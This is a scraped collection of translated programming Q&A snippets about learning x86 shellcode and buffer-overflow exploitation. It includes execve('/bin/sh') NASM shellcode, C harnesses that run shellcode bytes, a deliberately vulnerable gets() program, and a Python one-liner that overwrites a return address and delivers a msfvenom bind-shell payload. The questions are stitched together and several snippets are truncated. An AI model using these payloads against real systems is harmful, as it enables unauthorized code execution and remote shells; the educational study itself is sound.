有谁知道提供 NOP 操作码的指令替代方案的任何在线资源?
像'xchg ax, ax' 之类的。我很确定它也有一个工具,有人可以指出我的方向吗?
浏览http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html
execve我理解了调用并试图重写它的nasm 程序。
一些背景信息:
int execve(const char *filename, char *const argv[], char *const envp[]);
Run Code Online (Sandbox Code Playgroud)
因此,eax = 11( 的函数调用号execve),ebx应该指向char* filename,ecx应该指向argv[](这将与第一个参数相同,ebx因为第一个参数是其*filename本身,例如在本例中为“/bin/sh”),并且edx将指向envp[](null在本例中)。
原始nasm代码:
global _start
section .text
_start:
xor eax, eax
push eax
; PUSH //bin/sh in reverse i.e. hs/nib//
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, …Run Code Online (Sandbox Code Playgroud) 好吧,我写了一个生成 shell 的 ASM 文件。
但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)
当我编译它时:
nasm -f …Run Code Online (Sandbox Code Playgroud) 我必须填写以下参数:
int execve(const char *filename, char *const argv[], char *const envp[]);
Run Code Online (Sandbox Code Playgroud)
如果我执行这个程序:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
Run Code Online (Sandbox Code Playgroud)
shell 按预期正确生成。
我的问题是,如果我传递 NULL 作为第二个参数,shell 也会正确生成:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], NULL, NULL);
}
Run Code Online (Sandbox Code Playgroud)
那么使用 args 向量(带有“/bin/sh”+ NULL)作为第二个参数而不是 NULL 的目的是什么?
我正在尝试学习从程序中执行shellcode,但我甚至无法获得最基本的代码来运行.以下代码只是在运行时退出终端:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/mman.h>
char exitcode[] = "\xb0\x01\x31\xdb\xcd\x80";
int main() {
int (*func)();
func = (int (*)())exitcode;
(int)(*func)();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
但我得到的只是一个段错误.GDB说当程序访问exitcode [at(int)(*func)()的内存位置时会发生这种情况.],但我不确定为什么这会导致问题.我正在运行64位Linux Mint操作系统.任何帮助是极大的赞赏.
我想使用像gdb下命令那样的功能。
$ cat arg.txt | xargs ./binary
Run Code Online (Sandbox Code Playgroud)
有什么办法可以做到吗?
试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。
为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Run Code Online (Sandbox Code Playgroud)
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …Run Code Online (Sandbox Code Playgroud) 我刚刚开始研究缓冲区溢出攻击是如何工作的,并尝试使用Visual C 2010 模拟对Windows 7的攻击.缓冲区溢出攻击是非常人为的,它只是将返回地址覆盖到"缓冲区"局部变量的地址.缓冲区包含shellcode字符串.
无论我是否在Visual Studio 2010 Debug中运行程序,程序都会跳转到shellcode并几乎开始执行它,但是我遇到了Access Violation错误,程序将不会继续执行shellcode.
为什么我收到此错误?这是否可以防止Windows中的缓冲区溢出?
会如何,你让程序在缓冲区执行的shellcode?
编辑:
汉斯(回答)是对的.这在Windows Internals 5th的安全章节中讨论,错误的原因是Microsoft的可执行空间保护实现.
如果这个问题对任何人都有帮助,那么任何赞成票都会受到赞赏
void execute_my_shellcode()
{
char buffer[24];
memcpy(buffer, "\x6A\x21\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\x6A\x0A\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\xC3", 24);
printf("current return address: %p\n", *(int*)((char*)&buffer + 24 + 4));
*(int*)((char*)&buffer + 24 + 4) = (int)&buffer;
printf("return address is now : %p\n\n", (int*)*(int*)((char*)&buffer + 24 + 4) );
}
Run Code Online (Sandbox Code Playgroud) 两年后,我又回来了。试图再次解决shellcoders手册,但是我仍然发现不一致之处。本书提供以下功能:
int triangle (int width, in height){
int array[5] = {0,1,2,3,4};
int area;
area = width * height/2;
return (area);
}
Run Code Online (Sandbox Code Playgroud)
以及该函数的以下反汇编:
0x8048430 <triangle>: push %ebp
0x8048431 <triangle+1>: mov %esp, %ebp
0x8048433 <triangle+3>: push %edi
0x8048434 <triangle+4>: push %esi
0x8048435 <triangle+5>: sub $0x30,%esp
0x8048438 <triangle+8>: lea 0xffffffd8(%ebp), %edi
0x804843b <triangle+11>: mov $0x8049508,%esi
0x8048440 <triangle+16>: cld
0x8048441 <triangle+17>: mov $0x30,%esp
0x8048446 <triangle+22>: repz movsl %ds:( %esi), %es:( %edi)
0x8048448 <triangle+24>: mov 0x8(%ebp),%eax
0x804844b <triangle+27>: mov %eax,%edx
0x804844d <triangle+29>: imul 0xc(%ebp),%edx
0x8048451 …Run Code Online (Sandbox Code Playgroud) 回答了之前的相关问题。谢谢!然而,这给我带来了一个新问题。为什么 nasm 将数据字节放在两个不同的内存位置?我在下面包含了程序信息和其他数据转储。
---------- code snippet compiled with nasm, ld -----------------
section .text
...
zero: jmp short two
one: pop ebx
xor eax, eax
mov [ebx+12], eax
mov [ebx+8], ebx
mov [ebx+7], al
lea ecx, [ebx+8]
lea edx, [ebx+12]
mov al, 11
int 0x80
two: call one
section .data align=1
msg: db '/bin/sh0argvenvp'
-------- readelf output to show load locations --------
readelf -Wl myshdb
Elf file type is EXEC (Executable file)
Entry point 0x8048080
There are 2 program …Run Code Online (Sandbox Code Playgroud)